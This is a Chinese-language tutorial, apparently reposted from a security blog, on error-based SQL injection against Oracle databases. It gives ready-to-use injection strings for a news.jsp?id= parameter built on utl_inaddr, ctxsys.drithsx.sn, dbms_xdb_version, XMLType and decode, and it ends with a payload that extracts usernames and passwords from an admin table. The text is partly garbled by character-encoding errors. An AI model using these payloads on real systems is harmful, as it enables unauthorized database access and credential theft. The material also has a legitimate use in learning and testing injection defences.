0X01 使用報錯注入需要使用類似 1=[報錯語句],1>[報錯語句],使用比較運算符,這樣的方式進行報錯注入(MYSQL僅使用函數(shù)報錯即可),類似mssql報錯注入的方式。 news.jsp?id=1 and 1=1 正確 news.jsp?id=1 and 1=2 錯誤 存在注入? 隨便輸入 發(fā)現(xiàn)存在報錯信息我們可以嘗試報錯注入 0X02報錯函數(shù)注入 utl_inaddr.get_host_name()進行報錯注入 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) utl_inaddr.get_host_address?本意是獲取ip 地址,但是如果傳遞參數(shù)無法得到解析就會返回一個oracle 錯誤并顯示傳遞的參數(shù)。 我們傳遞的是一個sql 語句所以返回的就是語句執(zhí)行的結果。oracle 在啟動之后,把一些系統(tǒng)變量都放置到一些特定的視圖當中,可以利用這些視圖獲得想要的東西。通常非常重要的信息有 0x002 ctxsys.drithsx.sn()進行報錯注入 ? ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) ? ? ? ? ?0x03利用 dbms_xdb_version.checkin() and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null 0x04dbms_xdb_version.makeversioned() and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null 0x05dbms_xdb_version.uncheckout() and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not nul 0x06dbms_utility.sqlid_to_sqlhash() and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null 0x06ordsys.ord_dicom.getmappingxpath() and 1=ordsys.ord_dicom.getmappingxpath((select table_name from user_tables where rownum=1)) 0x07decode進行報錯注入因為這種方式并不會通過報錯把查詢結果回顯回來,僅是用來作為頁面的表現(xiàn)不同的判斷方法。 and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) 匹配到正確的時候頁面返回錯誤 0x08XMLType在使用這個XMLType進行報錯時,很多人不知道為什么要用chr(60),通過ascii查詢可以看到,60:<,58:’:’,62:’>’,查了下相關的api,發(fā)現(xiàn)xmltype在進行解析的時候必須以<開頭>結尾,這里:冒號在這是必不可少的,至于為什么是冒號這個我也沒查到,另外需要注意的是如果返回的數(shù)據(jù)種有空格的話,它會自動截斷,導致數(shù)據(jù)不完整,有replace函數(shù)替換成其他非空字符就可以 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null ? ?0X020x02?報錯函數(shù)注入數(shù)據(jù) 報錯admin表的 用戶和密碼 http://www./news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username||password from admin)from dual))-- ? ?其他報錯函數(shù)差不多 by 感謝卿哥 ? 來源:http://www./content-2-218051.html |
|